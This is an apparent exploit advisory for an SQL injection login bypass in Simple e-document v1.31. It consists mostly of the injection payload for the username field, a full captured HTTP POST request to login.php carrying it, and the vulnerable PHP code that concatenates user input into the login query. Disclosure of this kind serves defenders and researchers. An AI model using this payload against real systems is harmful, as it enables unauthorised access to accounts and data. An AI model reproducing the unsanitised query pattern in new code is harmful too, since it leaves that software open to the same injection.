Simple E-document 1.31 – Authentication Bypass
########################################################################## [+] Exploit: Simple e-document v1.31 Login Bypass # [+] Author: vinicius777 # [+] Contact: vinicius777 [AT] gmail @vinicius777sec # [+] version: Simple e-document v1.31 # [+] Vendor Homepage: http://sourceforge.net/projects/simplee-doc/files/ # ########################################################################## [1] Sql Injection on username field PoC: username=-4731' OR (2708=2708)# # Burp output POST /simple_e_document_v_1_31/login.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/simple_e_document_v_1_31/index.php Cookie: username=-4731%27+OR+%282708%3D2708%29%23; access=3; __atuvc=3%7C3; res_session=5mYRbQ67qPN3Zx%2FH%2FPKLDcSgbu3FmjzVAfezt0G0Hapsi7GRhIzlauDhsVpWaAeOu8MAa2wkiyHTT%2BGemuchDNMd1kQYMKbXSp6MFx8BS6A05M%2FIxw0vP2XGGDE5iSzrDERGO6QQa4pOXRjpMD4aYL8%2BQPCj98JZrngcZnhoEFWekObo5EWdnnuhg8zpmWL26dMuzY9uPu%2BO60BwSiVU0CCrFKxc5lMkSH%2BE9%2FwxI4XQpVE%2Bb9X4StmPGMMiZ1it0mJcChZdz4Mku1WJcOrzLVN0RYZYIvARwBiMXdGf%2Bvpw%2F0MHPP09fBv0PRgNI4XAI9apbQ7RLlxK6LneiNaR0epLS1YQiRpucBxtI0AiKofvOK5THZM6KSenIxsqUsrSxtff6eic0prlZb%2Fvl%2B3unAIgFdcAREUhQZ6lytABxA3CRMuZUmb2lyU7cWb%2FnyhQ9BtCXtfSTrdJze6JIFxsFg%3D%3D; __utma=111872281.1068821941.1389863798.1389863798.1389863798.1; __utmz=111872281.1389863798.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; ws_session=cbm4nhtn24jn9mhfvbjimjjl55; PHPSESSID=unqjr3tdi0tbgl3if801atjhl7 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 73 username=-4731%27+OR+%282708%3D2708%29%23&password=&op=login&Submit=Login Vulnerable Code: [+] login.php $username= stripslashes($_POST['username']); $password= stripslashes($_POST['password']); $r_password = md5($password); $sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'"; # # # Greetz to g0tm1lk and TheColonial. |